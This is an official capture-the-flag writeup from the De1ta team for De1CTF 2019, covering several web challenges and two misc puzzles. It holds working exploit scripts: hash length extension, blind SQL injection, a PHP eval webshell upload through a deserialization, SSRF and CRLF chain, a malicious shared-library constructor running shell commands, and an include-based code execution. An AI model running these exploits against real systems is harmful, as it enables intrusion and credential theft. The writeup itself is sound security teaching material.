De1CTF2019 官方Writeup(Web/Misc) -- De1ta

2019-08-11 约 3360 字 预计阅读 16 分钟

声明:本文 【De1CTF2019 官方Writeup(Web/Misc) – De1ta】 由作者 De1ta 于 2019-08-11 09:10:00 首发 先知社区 曾经 浏览数 105 次

感谢 De1ta 的辛苦付出!

[TOC]

广告一波:
De1ta长期招Web/逆向/pwn/密码学/硬件/取证/杂项/etc.选手,急招二进制和密码选手,有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=

source + exp + wp

https://github.com/De1ta-team/De1CTF2019

web

SSRF Me

预期解法:

哈希长度拓展攻击+CVE-2019-9948(urllib)


题解:

代码很简单,主要是有根据传入的action参数判断,有两种模式,一种是请求Param参数的地址,并把结果写入result.txt,另一种是读取result.txt的内容,两种方式都需要sign值校验.并且sign值是通过拼接参数哈希加密,所以可以使用哈希长度拓展攻击.题目给出了scan模式的sign值.

  1. 获取scan模式的sign值.
    ```
    GET /geneSign?param=local-file:flag.txt HTTP/1.1
    Host: 139.180.128.86

HTTP/1.1 200 OK
Server: nginx/1.15.8
Content-Length: 32
Connection: close

51796b52dd6e1108c89b7d5277d3ae0a

2. 使用`hashpump`生成新的`sign`值.

$ hashpump
Input Signature: 51796b52dd6e1108c89b7d5277d3ae0a
Input Data: local-file:flag.txtscan
Input Key Length: 16
Input Data to Add: read
eafd6ccd634ec29886babc843f1d8b86
local-file:flag.txtscan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008\x01\x00\x00\x00\x00\x00\x00read

3. 把新生成的参数中`\x`替换成`%`,然后提交,即可获取flag

GET /De1ta?param=local-file:flag.txt HTTP/1.1
Host: 139.180.128.86
Cookie:action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%008%01%00%00%00%00%00%00read;sign=eafd6ccd634ec29886babc843f1d8b86
Connection: close

HTTP/1.1 200 OK
Server: nginx/1.15.8
Content-Type: text/html; charset=utf-8
Content-Length: 65
Connection: close

{"code": 200, "data": "de1ctf{27782fcffbb7d00309a93bc49b74ca26}"}

由于出题时候的粗心,导致题目产生非预期,太菜了,Orz


## 9calc

#### Part 1

Same to v1 and v2.

#### Part 2

The second task is to bypass RegExp ``/^[0-9a-z\[\]\+\-\*\/ \t]+$/``.

Nestjs is a Nodejs Web Framework which is very similar to Spring, and it's written by TypeScript. However, it's **NOT** Spring. TypeScript is a strongly-typed language, but it's designed for transcompiles to JavaScript so all type definitions will be removed in runtime. We can just ignore ``expression: string`` type hinting and pass an object to ``expression``. This time, ``object.toString() === '[object Object]'``.

But we have no way to let ``object.toString()`` become a useful runnable code ─ if frontend and backends communicate by JSON, it's true. I believe that everyone has used MongoDB. Nodejs can pass a JavaScript function to MongoDB, which is not defined in the JSON standard. So they introduce BSON as their data interchange format. This challenge also used BSON. Luckily, we can simulate our object to a BSON object in JavaScript.

Let's read ``mongodb/js-bson``'s serializer, we can know it detects the object's type by ``Object[_bsontype]`` instead of ``instanceof``.

https://github.com/mongodb/js-bson/blob/master/lib/parser/serializer.js#L756

```javascript
      } else if (value['_bsontype'] === 'Binary') {
        index = serializeBinary(buffer, key, value, index, true);
      } else if (value['_bsontype'] === 'Symbol') {
        index = serializeSymbol(buffer, key, value, index, true);
      } else if (value['_bsontype'] === 'DBRef') {

After searching, I found that Symbol is the best type to emulate an object as a string. I checked most of the BSON deserializers and Symbol.toString() always returns the value of the symbol.

So let's build a Symbol like this:

{"expression":{"value":"1+1","_bsontype":"Symbol"}, "isVip": true}

Part 3

Build 3 polyglots in 3 languages to get flag.

Exp

const axios = require('axios')
const url = 'http://45.77.242.16/calculate'
const symbols = '0123456789abcdefghijklmnopqrstuvwxyz{}_'.split('')

const payloads = [
    // Nodejs
    `1 + 0//5 or '''\n//?>\nrequire('fs').readFileSync('/flag','utf-8')[{index}] == '{symbol}' ? 1 : 2;/*<?php\nfunction open(){echo MongoDB\\BSON\\fromPHP(['ret' => '1']);exit;}?>*///'''`,

    // Python
    `(open('/flag').read()[{index}] == '{symbol}') + (str(1//5) == 0) or 2 or ''' #\n))//?>\nfunction open(){return {read:()=>'{flag}'}}function str(){return 0}/*<?php\nfunction open(){echo MongoDB\\BSON\\fromPHP(['ret' => '1']);exit;}?>*///'''`,

    // PHP
    `len('1') + 0//5 or '''\n//?>\n1;function len(){return 1}/*<?php\nfunction len($a){echo MongoDB\\BSON\\fromPHP(['ret' => file_get_contents('/flag')[{index}] == '{symbol}' ? "1" : "2"]);exit;}?>*///'''`,

]
const rets = []

const checkAnswer = (value) => axios.post(url, {
    expression: {
        value,
        _bsontype: "Symbol"
    },
    isVip: true
}).then(p => p.data.ret === '1').catch(e => {})

const fn = async () => {

    for (let j = 0; j < payloads.length; j++) {
        const payload = payloads[j]
        let flag = ''
        let index = 0
        while (true) {
            for (let i = 0; i < symbols.length; i++) {
                const ret = await checkAnswer(payload.replace(/\{flag\}/g, flag + symbols[i]).replace(/\{symbol\}/g, symbols[i]).replace(/\{index\}/g, index))
                if (ret) {
                    flag += symbols[i]
                    console.log(symbols[i])
                    i = 0
                    index++
                }
            }
            break
        }
        rets.push(flag)
        console.log(rets)
    }

}

fn().then(p => {
    console.log(rets.join(''))
})

Others

In this challenge, the BSON part was inspired by the 996Game of *CTF2019. The code of 996game is:

GameServer.loadPlayer = function(socket,id){
  GameServer.server.db.collection('players').findOne({_id: new ObjectId(id)},function(err,doc){

I built { toHexString: 'aaa', length: 0, id: {length: 12} } to bypass the validation of ObjectId because MongoDB Driver used old version js-bson. This maybe useful in MongoDB injection.

Giftbox

以前 1.0 版本 writeup:

impakho/ciscn2019_giftbox

本题是 2.0 版本。

题目页面类似一个网页沙盒。

在源代码 main.js 里找到一个提示,提供了 otppython库totp 的参数,方便写脚本。

同样是 main.js 里,可以找到用来生成 totpkey

出题人注:服务端时间与客户端时间相差大于 15秒 ,需要先计算正确的 totp 才能调用 shell.php

查看 usage.md 可以看到命令用法, login 存在注入,没有过滤,用户名和密码长度限制 100

爆破密码脚本:

import requests
import urllib
import string
import pyotp

url = 'http://127.0.0.1/shell.php?a=%s&totp=%s'
totp = pyotp.TOTP("GAXG24JTMZXGKZBU", digits=8, interval=5)
s = requests.session()

length = 0
left = 0x0
right = 0xff
while True:
    mid = int((right - left) / 2 + left)
    if mid == left:
        length = mid
        break
    username = "'/**/or/**/if(length((select/**/password/**/from/**/users/**/limit/**/1))>=%d,1,0)#" % mid
    password = "b"
    payload = 'login %s %s' % (username, password)
    payload = urllib.quote(payload)
    payload = url % (payload, totp.now())
    res = s.get(payload).text
    if 'incorrect' in res:
        left = mid
    else:
        right = mid
print(length)

real_password = ''
for i in range(1, length+1):
    left = 0x20
    right = 0x7e
    while True:
        mid = int((right - left) / 2 + left)
        if mid == left:
            real_password += chr(mid)
            break
        username = "'/**/or/**/if(ascii(substr((select/**/password/**/from/**/users/**/limit/**/1),%d,1))>=%d,1,0)#" % (i, mid)
        password = "b"
        payload = 'login %s %s' % (username, password)
        payload = urllib.quote(payload)
        payload = url % (payload, totp.now())
        res = s.get(payload).text
        if 'incorrect' in res:
            left = mid
        else:
            right = mid
    print(real_password)
    if len(real_password) < i:
        print('No.%d char not in range' % i)
        break

得到密码:hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}

密码里提示有个隐藏命令 sh0w_hiiintttt_23333 ,可以得到提示 evallaunch 的时候被调用。

launch 前需要先用 targeting 设置,不过对输入有限制,这里可以 fuzz 一下,得知 code 限制 a-zA-Z0-9position 限制 a-zA-Z0-9})$({_+-,. ,而且两者的长度也有限制。

这里需要用 php可变变量 构造和拼接 payload

构造用来 getflagpayload ,绕过 open_basedir 的限制,写个脚本就能 getflag

getflag 脚本:

import requests
import urllib
import string
import pyotp

url = 'http://127.0.0.1/shell.php?a=%s&totp=%s'
totp = pyotp.TOTP("GAXG24JTMZXGKZBU", digits=8, interval=5)
s = requests.session()

def login(password):
    username = 'admin'
    payload = 'login %s %s' % (username, password)
    payload = urllib.quote(payload)
    payload = url % (payload, totp.now())
    s.get(payload)

def destruct():
    payload = 'destruct'
    payload = urllib.quote(payload)
    payload = url % (payload, totp.now())
    s.get(payload)

def targeting(code, position):
    payload = 'targeting %s %s' % (code, position)
    payload = urllib.quote(payload)
    payload = url % (payload, totp.now())
    s.get(payload)

def launch():
    payload = 'launch'
    payload = urllib.quote(payload)
    payload = url % (payload, totp.now())
    return s.get(payload).text

login('hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}')
destruct()
targeting('a','chr')
targeting('b','{$a(46)}')
targeting('c','{$b}{$b}')
targeting('d','{$a(47)}')
targeting('e','js')
targeting('f','open_basedir')
targeting('g','chdir')
targeting('h','ini_set')
targeting('i','file_get_')
targeting('j','{$i}contents')
targeting('k','{$g($e)}')
targeting('l','{$h($f,$c)}')
targeting('m','{$g($c)}')
targeting('n','{$h($f,$d)}')
targeting('o','{$d}flag')
targeting('p','{$j($o)}')
targeting('q','printf')
targeting('r','{$q($p)}')
print(launch())

Flag:de1ctf{h3r3_y0uuur_g1fttt_0uT_0f_b0o0o0o0o0xx}

CloudMusic_rev

以前 1.0 版本 writeup:

impakho/ciscn2019_final_web1

本题是 2.0 版本。

先审计源代码,找到首页备注里有 #firmware 功能。

#firmware 功能需要登录,而且只有管理员有权限访问。

然后注册登录,在我的分享页面里看到一首英文歌,其它都是中文歌,而且这首英文歌在首页就已经放入到播放器列表里。

所以看分享 #share 页面源代码,能看到 /media/share.php? 后面还用 btoa 也就是 base64编码,所以这里不难发现有个任意文件读取。

尝试读取 ../index.php 页面的源代码,访问 http://127.0.0.1/media/share.php?Li4vaW5kZXgucGhw

限制了 .php 文件,根据提示,可以使用 urlencode 编码绕过。

成功读取到 ../index.php 文件,那么其它文件也可以读取到。

然后就是读取网站目录下的文件,进行源代码审计。我们的目标就是拿到管理员密码,然后访问 #firmware 功能。

那么我们需要找到源代码里,哪里读取到管理员密码,这些位置并不多。这里漏洞点在 /include/upload.php 里,调用到 /lib/parser.so 进行音频文件解析,传入了管理员密码。

那么我们需要用 IDA 反编译 /lib/parser.so 文件,漏洞点在 read_title / read_artist / read_album 三个函数里的 strcpy 处,off by null,刚好可以覆盖到 mem_mframe_data 后面的 mframe_data 第一字节为 0x00,那么读取的时候就能读到 mem_mpasswd,也就是 管理员密码

相对于 1.0 版本,这是一个错误版本的 parser.so,因为它使用 strlen 获取字符串长度,致使 unicode 编码的字段无法正常读取,影响到一些 mp3 的信息读取,间接上增加了做题的难度。

那么我们可以构造字符串长度为 0x70 的字段,然后上传构造好的 mp3 文件,就能读取 管理员密码

构造好的 mp3 文件见 exp 里。

我们使用 管理员密码 登录管理员账号,访问 #firmware 功能。

泄露这个页面的源代码文件,审计源代码,这里我们可以上传一个 .so 文件,然后猜文件名,然后可以加载这个 .so 文件。

那么我们可以使用 __attribute__ ((constructor)) 来执行我们的代码。

就像这样:

#include <stdio.h>
#include <string.h>

char _version[0x130];
char * version = &_version;

__attribute__ ((constructor)) void fun(){
    memset(version,0,0x130);
    FILE * fp=popen("/usr/bin/tac /flag", "r");
    if (fp==NULL) return;
    fread(version, 1, 0x100, fp);
    pclose(fp);
}

但是相对于 1.0 版本,这里没有回显。

所以我们可以向 /uploads/firmware/ 或者 /uploads/music/ 下写文件,然后去访问来读取到回显信息。

www-data 用户,对 /flag 文件没有读取权限。

我们需要找到一个具有 suid 权限的程序去读取,/usr/bin/tac 具有 suid 权限,能够读取到 /flag 文件的内容。

所以我们可以用 /usr/bin/tac /flag > /var/www/html/uploads/firmware/xxxxx 去读取到 flag 文件。

Flag:de1ctf{W3b_ANND_PWNNN_C1ou9mus1c_revvvv11}

ShellShellShell

解题思路:赛题分为两层,需要先拿到第一层的webshell,然后做好代理,渗透内网获取第二层的webshell,最后在内网的主机中找到flag文件获取flag。(以下给出的脚本文件当中ip地址需要进行对应的修改)

第一层获取webshell主要通过以下的步骤:
1.可利用swp源码泄露,获取所有的源码文件。
2.利用insert sql注入拿到管理员的密码md5值,然后在md5网站上解密得到密码明文。
3.利用反序列化漏洞调用内置类SoapClient触发SSRF漏洞,再结合CRLF漏洞,实现admin登录,获取admin登录后的session值。
4.登录admin成功之后,会发现有一个很简单文件上传功能,上传木马即可getshell。

获取泄露的swp文件的脚本GetSwp.py

#coding=utf-8
# import requests
import urllib
import os
os.system('mkdir source')
os.system('mkdir source/views')
file_list=['.index.php.swp','.config.php.swp','.user.php.swp','user.php.bak','views/.delete.swp','views/.index.swp','views/.login.swp','views/.logout.swp','views/.profile.swp','views/.publish.swp','views/.register.swp']
part_url='http://45.76.187.90:11027/'
for i in file_list:
    url=part_url+i
    print 'download %s '% url
    os.system('curl '+url+'>source/'+i)

sql注入点分析

先在config.php看到了全局过滤:

function addslashes_deep($value)
{
    if (empty($value))
    {
        return $value;
    }
    else
    {
        return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
    }
}
function addsla_all()
{
    if (!get_magic_quotes_gpc())
    {
        if (!empty($_GET))
        {
            $_GET  = addslashes_deep($_GET);
        }
        if (!empty($_POST))
        {
            $_POST = addslashes_deep($_POST);
        }
        $_COOKIE   = addslashes_deep($_COOKIE);
        $_REQUEST  = addslashes_deep($_REQUEST);
    }
}
addsla_all();

这样过滤之后,简单的注入就不存在了。
user.php中看到insert函数,代码如下:

private function get_column($columns){
        if(is_array($columns))
            $column = ' `'.implode('`,`',$columns).'` ';
        else
            $column = ' `'.$columns.'` ';
        return $column;
    }    
public function insert($columns,$table,$values){
        $column = $this->get_column($columns);
        $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
        $nid =
        $sql = 'insert into '.$table.'('.$column.') values '.$value;
        $result = $this->conn->query($sql);
        return $result;
    }

看对$value的操作,先将$value数组的每个值用反引号引起来,然后再用逗号连接起来,变成这样的字符串:

`$value[0]`,`$value[1]`,`$value[1]`

然后再执行

$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';

preg_replace的意图是把反引号的单引号进行替换(核心操作是如果一对反引号中间的内容不存在逗号和反引号,就把反引号变为单引号,所以$value就变为了)

('$value[0]','$value[1]','$value[1]')

但是如果$value元素本身带有反引号,就会破坏掉拼接的结构,在做反引号变为单引号的时候造成问题,比如说:

考虑$value为 : array("admin`,`1`)#","password")
经过处理后,就变为了 : ('admin','1')#`,'password' )
相当于闭合了单引号,造成注入。

看到insert函数在publish函数中被调用,并且存在$_POST['signature']变量可控,注入点就在这里:

@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));

实质是把$value中的反引号替换为单引号时,如果$value中本来就带有反引号,就有可能导致注入(addslashes函数不会对反引号过滤)

sql_exp.py

利用sql注入漏洞注入出管理员账号密码的脚本。

#coding=utf-8
import re
import string
import random
import requests
import subprocess
import hashlib
from itertools import product

_target='http://20.20.20.128:11027/index.php?action='

def get_code_dict():
    c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|'
    captchas = [''.join(i) for i in product(c, repeat=3)]

    print '[+] Genering {} captchas...'.format(len(captchas))
    with open('captchas.txt', 'w') as f:
        for k in captchas:
            f.write(hashlib.md5(k).hexdigest()+' --> '+k+'\n')

def get_creds():
    username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    return username, password

def solve_code(html):
    code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1)
    solution = subprocess.check_output(['grep', '^'+code, 'captchas.txt']).split()[2]
    return solution

def register(username, password):
    resp = sess.get(_target+'register')
    code = solve_code(resp.text)
    sess.post(_target+'register', data={'username':username,'password':password,'code':code})
    return True

def login(username, password):
    resp = sess.get(_target+'login')
    code = solve_code(resp.text)
    sess.post(_target+'login', data={'username':username,'password':password,'code':code})
    return True

def publish(sig, mood):
    return sess.post(_target+'publish', data={'signature':sig,'mood':mood})

get_code_dict()

sess = requests.Session()
username, password = get_creds()
print '[+] register({}, {})'.format(username, password)
register(username, password)
print '[+] login({}, {})'.format(username, password)
login(username, password)
print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID']

for i in range(1,33): # we know password is 32 chars (md5)
    mood = '(select concat(`O:4:\"Mood\":3:222s:4:\"mood\";i:`,ord(substr(password,{},1)),`;s:2:\"ip\";s:14:\"80.212.199.161\";s:4:\"date\";i:1520664478;}}`) from ctf_users where is_admin=1 limit 1)'.format(i)
    payload = 'a`, {}); -- -'.format(mood)
    resp = publish(payload, '0')

resp = sess.get(_target+'index')
moods = re.findall(r'img/([0-9]+)\.gif', resp.text)[::-1] # last publish will be read first in the html
admin_hash = ''.join(map(lambda k: chr(int(k)), moods))

print '[+] admin hash => ' + admin_hash
root@kali64:~# python sql_exp.py 
[+] Genering 778688 captchas...
[+] register(cvnyshokxj, sjt0ayo3c1)
[+] login(cvnyshokxj, sjt0ayo3c1)
[+] user session => 7fublips3949q8vcs611fcdha2
[+] admin hash => c991707fdf339958eded91331fb11ba0

密码明文为jaivypassword

getshell_1

3.利用反序列化漏洞调用内置类SoapClient触发SSRF漏洞,再结合CRLF漏洞,实现admin登录,获取admin登录后的session值。
4.登录admin成功之后,会发现有一个很简单文件上传功能,上传木马即可getshell。

原理:要触发这个反序列化漏洞+SSRF+CRLF漏洞登录admin,需要先利用/index.php?action=publish的sql注入漏洞把序列化数据插入数据库中,然后再调用/index.php?action=index,这时会触发代码$data = $C->showmess();,进而执行代码

$mood = unserialize($row[2]);
    $country = $mood->getcountry();

这时就会触发反序列化漏洞-->SSRF漏洞-->CLRF漏洞-->登录admin。

关于第一层解题更详细的分析可以参见@wupco师傅的这篇文章https://xz.aliyun.com/t/2148

ssrf_crlf_getshell_exp.py

import re
import sys
import string
import random
import requests
import subprocess
from itertools import product
import hashlib
from itertools import product

_target = 'http://20.20.20.128:11027/'
_action = _target + 'index.php?action='

def get_code_dict():
    c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|'
    captchas = [''.join(i) for i in product(c, repeat=3)]

    print '[+] Genering {} captchas...'.format(len(captchas))
    with open('captchas.txt', 'w') as f:
        for k in captchas:
            f.write(hashlib.md5(k).hexdigest()+' --> '+k+'\n')


def get_creds():
    username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    return username, password

#code
def solve_code(html):
    code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1)
    solution = subprocess.check_output(['grep', '^'+code, 'captchas.txt']).split()[2]
    return solution

def register(username, password):
    resp = sess.get(_action+'register')
    code = solve_code(resp.text)
    sess.post(_action+'register', data={'username':username,'password':password,'code':code})
    return True

def login(username, password):
    resp = sess.get(_action+'login')
    code = solve_code(resp.text)
    sess.post(_action+'login', data={'username':username,'password':password,'code':code})
    return True

def publish(sig, mood):
    return sess.post(_action+'publish', data={'signature':sig,'mood':mood})#, proxies={'http':'127.0.0.1:8080'})

def get_prc_now():
    # date_default_timezone_set("PRC") is not important
    return subprocess.check_output(['php', '-r', 'date_default_timezone_set("PRC"); echo time();'])

def get_admin_session():
    sess = requests.Session()
    resp = sess.get(_action+'login')
    code = solve_code(resp.text)
    return sess.cookies.get_dict()['PHPSESSID'], code

get_code_dict()

print '[+] creating user session to trigger ssrf'
sess = requests.Session()

username, password = get_creds()

print '[+] register({}, {})'.format(username, password)
register(username, password)

print '[+] login({}, {})'.format(username, password)
login(username, password)

print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID']

print '[+] getting fresh session to be authenticated as admin'
phpsessid, code = get_admin_session()

ssrf = 'http://127.0.0.1/\x0d\x0aContent-Length:0\x0d\x0a\x0d\x0a\x0d\x0aPOST /index.php?action=login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID={}\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: 200\x0d\x0a\x0d\x0ausername=admin&password=jaivypassword&code={}&\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a'.format(phpsessid, code)
mood = 'O:10:\"SoapClient\":4:222s:3:\"uri\";s:{}:\"{}\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:15:\"_stream_context\";i:0;s:13:\"_soap_version\";i:1;}}'.format(len(ssrf), ssrf)
mood = '0x'+''.join(map(lambda k: hex(ord(k))[2:].rjust(2, '0'), mood))

payload = 'a`, {}); -- -'.format(mood)

print '[+] final sqli/ssrf payload: ' + payload

print '[+] injecting payload through sqli'
resp = publish(payload, '0')

print '[+] triggering object deserialization -> ssrf'
sess.get(_action+'index')#, proxies={'http':'127.0.0.1:8080'})

print '[+] admin session => ' + phpsessid

# switching to admin session
sess = requests.Session()
sess.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': phpsessid})

# resp = sess.post(_action+'publish')
# print resp.text

print '[+] uploading stager'
shell = {'pic': ('jaivy.php', '<?php @eval($_POST[jaivy]);?>', 'image/jpeg')}
resp = sess.post(_action+'publish', files=shell)
# print resp.text
webshell_url=_target+'upload/jaivy.php'
print '[+] shell => '+webshell_url+'\n'

post_data={"jaivy":"system('ls -al');"}
resp = sess.post(url=webshell_url,data=post_data)
print resp.text
root@kali64:~# python ssrf_crlf_getshell_exp.py 
[+] Genering 778688 captchas...
[+] creating user session to trigger ssrf
[+] register(a6skt6cjpr, rw2dz23fjv)
[+] login(a6skt6cjpr, rw2dz23fjv)
[+] user session => b4sd5q2jtb0tlh4lmqoj4mcb92
[+] getting fresh session to be authenticated as admin
[+] final sqli/ssrf payload: a`, 0x4f3a31303a22536f6170436c69656e74223a343a7b733a333a22757269223b733a3237373a22687474703a2f2f3132372e302e302e312f0d0a436f6e74656e742d4c656e6774683a300d0a0d0a0d0a504f5354202f696e6465782e7068703f616374696f6e3d6c6f67696e20485454502f312e310d0a486f73743a203132372e302e302e310d0a436f6f6b69653a205048505345535349443d706f633672616771686d6e686933636e6e737136636a666332340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a203230300d0a0d0a757365726e616d653d61646d696e2670617373776f72643d6a6169767970617373776f726426636f64653d4a3165260d0a0d0a504f5354202f666f6f0d0a223b733a383a226c6f636174696f6e223b733a33393a22687474703a2f2f3132372e302e302e312f696e6465782e7068703f616374696f6e3d6c6f67696e223b733a31353a225f73747265616d5f636f6e74657874223b693a303b733a31333a225f736f61705f76657273696f6e223b693a313b7d); -- -
[+] injecting payload through sqli
[+] triggering object deserialization -> ssrf
[+] admin session => poc6ragqhmnhi3cnnsq6cjfc24
[+] uploading stager
[+] shell => http://20.20.20.128:11027/upload/jaivy.php

total 12
drwxrwxrwx 1 root     root     4096 Aug  5 18:07 .
drwxr-xr-x 1 root     root     4096 Aug  5 18:03 ..
-rw-r--r-- 1 www-data www-data   29 Aug  5 18:07 jaivy.php

root@kali64:~#

这里构造反序列化+SSRF+CRLF的时候注意几个点

  • Content-Type 要设置成 application/x-www-form-urlencoded
  • 验证码
  • PHPSESSID
  • 账号密码
  • Content-Length。小心“截断”和“多取”问题导致登录失败。建议把Content-Length设置得大一些,然后再code参数后面加个与符号隔开即可。(与符号代表变量的分隔)
    \x0ausername=admin&password=jaivypassword&code={}&\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a

另外再放出一个构造payload的php脚本

<?php  
$location = "http://127.0.0.1/index.php?action=login";
$uri = "http://127.0.0.1/";
$event = new SoapClient(null,array('user_agent'=>"test\r\nCookie: PHPSESSID=gv1jimuh2ptjp1j6o2apvqp0h2\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 100\r\n\r\nusername=admin&password=jaivypassword&code=400125&xxx=",'location'=>$location,'uri'=>$uri));
$c = (serialize($event));
echo urlencode($c);

getshell_2

进入内网之后通过做代理扫描即可发现还存在一个内网ip 172.18.0.2,访问它能够发现如下代码

<?php
    $sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);

    if($_FILES['file']['name'])
    {
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if (!is_array($filename)) 
        {
            $filename = explode('.', $filename);
        }
        $ext = end($filename);
        if($ext==$filename[count($filename) - 1])
        {
            die("try again!!!");
        }
        $new_name = (string)rand(100,999).".".$ext;
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
        $_ = $_POST['hello'];
        if(@substr(file($_)[0],0,6)==='@<?php')
        {
            if(strpos($_,$new_name)===false)
            {
                include($_);
            }
            else
            {
                echo "you can do it!";
            }
        }
        unlink($new_name);
    }
    else
    {
        highlight_file(__FILE__);
    }

此处getshell,对应的exp如下:

import requests
import hashlib

target = "http://172.18.0.2/"
ip = "172.18.0.3"
path = "/var/sandbox/%s/"%hashlib.md5(("prefix"+ip).encode()).hexdigest()

#proxies={'http':'http://127.0.0.1:8080'}
files = {"file":("x",open("1.txt","rb")),"file[1]":(None,'a'),"file[0]":(None,'b'),"hello":(None,"php://filter/string.strip_tags/resource=/etc/passwd")}

try:
    for i in range(10):
        requests.post(target,files=files,)
except Exception as e:
    print(e)

for i in range(0,1000):
    files = {"file":("x",open("1.txt","rb")),"file[1]":(None,'a'),"file[0]":(None,'b'),"s":(None,"system('cat /etc/flag*');"),"hello":(None,path+str(i)+'.b')}
    resp = requests.post(target,files=files,).text
    if len(resp)>0:
        print(resp,i)
        break

至于如何找到flag文件,可以直接使用如下的find命令

find / -name "*flag*"

misc

Mine Sweeping

分析

Elements.cs

class Elements: MonoBehaviour
{
    void Awake()
    {   
        int x = (int)transform.position.x;
        int y = (int)transform.position.y;
        //根据全局的数组设置该格子是雷还是空地
        bIsMine = (((MayWorldBeAtPeace[x, y] ^ AreYouFerryMen[x, y]) - 233) / 2333) == 1 ? true : false;
        //根据格子的position,将物体实例绑定到网格中
        Grids._instance.eleGrids[(int)transform.position.x, (int)transform.position.y] = this;
        //网格中对应格子数值设置
        Grids._instance.DevilsInHeaven[(int)transform.position.x, (int)transform.position.y] = (bIsMine == true ? 1 : 0);
        //隐藏reset按钮
        resetButton = GameObject.FindGameObjectWithTag("resetButton");
        if (resetButton)
            resetButton.SetActive(false);
    }

    // Start is called before the first frame update
    void Start()
    {
        //初始化时混淆地图
        Grids._instance.ChangeMap();
        //测试用
        //DawnsLight();
    }
    ...
    void OnMouseUpAsButton()
    {
        //鼠标点击对应格子触发
        if (!Grids._instance.bGameEnd && !bIsOpen)
        {   //未翻开
            //设置翻开
            bIsOpen = true;
            int nX = (int)transform.position.x;
            int nY = (int)transform.position.y;
            if (bIsMine)
            {
                //显示雷
                SafeAndThunder(0);
                Grids._instance.bGameEnd = true;
                //游戏失败
                Grids._instance.GameLose();
                print("game over: lose");
            }
            else
            {
                //翻到的不是雷,显示周围雷的数量+翻开相邻的周围无雷的格子
                int adjcentNum = Grids._instance.CountAdjcentNum(nX, nY);
                SafeAndThunder(adjcentNum);
                Grids._instance.Flush(nX, nY, new bool[Grids.w, Grids.h]);
            }
            if (Grids._instance.GameWin())
            {
                //游戏胜利
                Grids._instance.bGameEnd = true;
                print("game over: win");
            }
        }
    }
}

Elements.cs是挂在每个格子身上的脚本,Awake中确定该格子是雷还是空地,Start中将地图中固定的六个摇摆位随机化,OnMouseUpAsButton检测当前格子是不是雷,并作出相应处理

Grid.cs

public bool GameWin()
    {
        foreach (Elements ele in eleGrids)
        {
            if (!ele.bIsOpen && !ele.bIsMine)
            {   //存在没翻开且不是雷的
                return false;
            }
        }
        foreach (Elements ele in eleGrids)
        {   //加载最后的图片
            ele.DawnsLight();
        }
        return true;
    }

    public void ChangeMap()
    {
        System.Random ran = new System.Random((int)System.DateTime.Now.Millisecond);
        const int SwingNum = 6;
        const int Start = 0;
        const int End = 100;
        int[] SwingPosX = new int[SwingNum]{ 9, 15, 21, 10, 18, 12, };
        int[] SwingPosY = new int[SwingNum]{ 0, 7, 15, 3, 16, 28 };
        int[] RandomNum = new int[SwingNum];
        for (int i = 0; i < SwingNum; i++)
        {
            RandomNum[i] = ran.Next(Start, End);
        }

        for (int i = 0; i < SwingNum; i++)
        {
            int x = SwingPosX[i];
            int y = SwingPosY[i];
            eleGrids[x, y].bIsMine = RandomNum[i] > 60 ? false : true ;
            DevilsInHeaven[x, y] = eleGrids[x, y].bIsMine == true ? 1 : 0;
        }
    }

Grid.cs是控制网格的脚本,主要就是检测游戏输赢以及是否按下reset按钮,ChangeMap函数会将六个摇摆位的01随机化,起到混淆作用

exp

  1. 直接做,每次点到雷了,就记录雷的位置,反正reset按钮只会将格子都翻面,不会改变格子的01值,保守估计30min可以解决
  2. 逆向,分析Elements.cs,得知每个格子是不是雷,是通过全局数组决定的,然后拿全局数组MayWorldBeAtPeace和AreYouFerryMen做对应处理就可以了
  3. 动态调试,在游戏进去后查看Grid.cs中的,用来保存游戏数据以便reset按钮执行的DevilsInHeaven数组,解决
  4. 改代码,通过底层修改Grid.cs中检测游戏输赢的if语句,直接加载最后的二维码

DeepInReal

压缩包解压得到三个文件。

先看 from-officer.txt

大概意思是说,这个二进制文件是从嫌疑人的移动硬盘里恢复出来的,是一个 AES-256 加密文件,解密的密钥是世界上最常用和最弱的。

根据 officer 的提示,我们可以上网查一下世界上最常用和最弱的密码是什么。

根据维基百科的记录, 2019 年最常用的密码排在第一位的是 123456

